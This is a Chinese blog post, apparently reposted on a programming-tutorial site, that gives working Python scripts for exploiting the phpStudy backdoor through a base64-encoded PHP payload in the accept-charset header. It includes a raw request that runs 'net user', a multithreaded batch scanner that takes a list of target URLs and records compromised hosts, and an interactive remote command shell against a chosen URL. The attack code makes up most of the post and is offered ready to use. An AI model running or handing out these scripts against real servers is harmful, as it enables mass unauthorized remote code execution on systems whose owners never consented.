phpstudy后门rce批量利用脚本的实现


Posted in PHP onDecember 12, 2019

写两个一个批量检测的 一个交互式shell的

暂时py 图形化的qt写出来..有点问题

后门包 :

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1

phpstudy后门rce批量利用脚本的实现

phpstudy后门rce批量利用脚本的实现

执行那段写shell即可

phpstudy后门rce批量利用脚本的实现

晚上抽点空简单写个发包的py:

phpstudy后门rce批量利用脚本的实现

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import queue


print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")
payload = "echo \"qing\";"
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
}



def write_shell(url,headers):
  try:
    r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
      with open('success.txt','a') as f:
          f.write(url+'\n')
    else:
      print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
  except:
    print ('[ - ] Timeout: '+url+' [ - ]\n')

url = "http://xxx"
write_shell(url=url,headers=headers)

界面优化、改下多线程、批量读取文本文件后的代码:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool


print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")




def write_shell(url):
  payload = "echo \"qing\";"
  payload = base64.b64encode(payload.encode('utf-8'))
  payload = str(payload, 'utf-8')
  headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
}
  try:
    r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
      with open('success.txt','a') as f:
          f.write(url+'\n')
    else:
      print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
  except:
    print ('[ - ] Timeout: '+url+' [ - ]\n')

# url = "http://xxx"
# write_shell(url=url,headers=headers)

def main():
  with open('url.txt','r') as f:
    lines = f.read().splitlines()
    task_pool=threadpool.ThreadPool(5)
    requests=threadpool.makeRequests(write_shell,lines)
  for req in requests:
    task_pool.putRequest(req)
    task_pool.wait() 
if __name__ == '__main__':
  main()


#线程队列部分
# th=[]
# th_num=10
# for x in range(th_num):
#     t=threading.Thread(target=write_shell)
#     th.append(t)
# for x in range(th_num):
#     th[x].start()
# for x in range(th_num):
#     th[x].join()

phpstudy后门rce批量利用脚本的实现

你也可以加上读取php文件的字典 这个简单没啥说的

下一个是交互式shell

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool
import re

print("======Phpstudy Backdoor Exploit---os-shell============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")



def os_shell(url,headers,payload):
  try:
    r = requests.get(url=url+'/phpinfo.php',headers=headers,verify=False,timeout=10)
    # print(r.text)
    res = re.findall("qing(.*?)qing",r.text,re.S)
    print("[ + ]===========The Response:==========[ + ]\n")
    res = "".join(res)
    print(res)
  except:
    print("[ - ]===========Failed! Timeout...==========[ - ]\n")

def main():
  url = input("input the Url , example:\"http://127.0.0.1/\"\n")
  payload = input("input the payload , default:echo system(\"whoami\");\n")
  de_payload = "echo \"qing\";system(\"whoami\");echo \"qing\";"
  if payload.strip() == '':
    payload = de_payload
  payload = "echo \"qing\";"+payload+"echo \"qing\";"
  payload = base64.b64encode(payload.encode('utf-8'))
  payload = str(payload, 'utf-8')
  headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
  }
  os_shell(url=url,headers=headers,payload=payload)
if __name__ == '__main__':
  main()

phpstudy后门rce批量利用脚本的实现

 以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

PHP 相关文章推荐
一个PHP+MSSQL分页的例子
Oct 09 PHP
在任意字符集下正常显示网页的方法一
Apr 01 PHP
php之对抗Web扫描器的脚本技巧
Oct 01 PHP
php下封装较好的数字分页方法
Nov 23 PHP
Mysql的Root密码忘记,查看或修改的解决方法(图文介绍)
Jun 14 PHP
FireFox浏览器使用Javascript上传大文件
Oct 30 PHP
PHPAnalysis中文分词类详解
Jun 13 PHP
PHP中UNIX时间戳和日期间的转换与计算实例
Nov 19 PHP
Android AsyncTack 异步任务实例详解
Nov 02 PHP
php中遍历二维数组并以表格的形式输出的方法
Jan 03 PHP
PHP实现权限管理功能示例
Sep 22 PHP
PHP基于ip2long实现IP转换整形
Dec 11 PHP
PHP设计模式之数据访问对象模式(DAO)原理与用法实例分析
Dec 12 #PHP
PHP设计模式之建造者模式(Builder)原理与用法案例详解
Dec 12 #PHP
PHP设计模式之适配器模式(Adapter)原理与用法详解
Dec 12 #PHP
PHP学习记录之常用的魔术常量详解
Dec 12 #PHP
记Laravel调用Gin接口调用formData上传文件的实现方法
Dec 12 #PHP
PHP命名空间(namespace)原理与用法详解
Dec 11 #PHP
在 Laravel 6 中缓存数据库查询结果的方法
Dec 11 #PHP
You might like
PHP分页类集锦
2014/11/18 PHP
PHP实现算式验证码和汉字验证码实例
2015/03/09 PHP
php有效防止同一用户多次登录
2015/11/19 PHP
PHP错误和异常处理功能模块示例
2016/11/12 PHP
PHP PDOStatement::nextRowset讲解
2019/02/01 PHP
jquery 学习笔记 传智博客佟老师附详细注释
2020/09/12 Javascript
jQuery 加上最后自己的验证
2009/11/04 Javascript
js特殊字符过滤的示例代码
2014/03/05 Javascript
jQuery支持添加事件的日历特效代码分享(3种样式)
2015/08/24 Javascript
轻松学习jQuery插件EasyUI EasyUI创建RSS Feed阅读器
2015/11/30 Javascript
JQuery解析XML数据的几个简单实例
2016/05/18 Javascript
基于JS代码实现图片在页面中旋转效果
2016/06/16 Javascript
AngularJS通过$location获取及改变当前页面的URL
2016/09/23 Javascript
微信小程序 input输入框详解及简单实例
2017/01/10 Javascript
浅析vue数据绑定
2017/01/17 Javascript
jQuery Validate 相关参数及常用的自定义验证规则
2017/03/06 Javascript
详解nodejs微信公众号开发——3.封装消息响应模块
2017/04/10 NodeJs
史上最全JavaScript常用的简写技巧(推荐)
2017/08/17 Javascript
分享ES6的7个实用技巧
2018/01/18 Javascript
微信小程序scroll-view锚点链接滚动跳转功能
2019/12/12 Javascript
Python求出0~100以内的所有素数
2018/01/23 Python
python清除函数占用的内存方法
2018/06/25 Python
python实现AES加密和解密
2019/03/27 Python
python 批量解压压缩文件的实例代码
2019/06/27 Python
pytorch实现保证每次运行使用的随机数都相同
2020/02/20 Python
python对数组进行排序,并输出排序后对应的索引值方式
2020/02/28 Python
Python3 操作 MySQL 插入一条数据并返回主键 id的实例
2020/03/02 Python
python数据类型强制转换实例详解
2020/06/22 Python
基于python的opencv图像处理实现对斑马线的检测示例
2020/11/29 Python
利用CSS的Sass预处理器(框架)来制作居中效果
2016/03/10 HTML / CSS
阿迪达斯芬兰官方网站:adidas芬兰
2017/01/30 全球购物
拉斯维加斯城市观光通行证:Las Vegas Pass
2019/05/21 全球购物
2014年卫生监督工作总结
2014/12/09 职场文书
留学推荐信英文范文
2015/03/26 职场文书
MySQL Shell的介绍以及安装
2021/04/24 MySQL
在redisCluster中模糊获取key方式
2021/07/09 Redis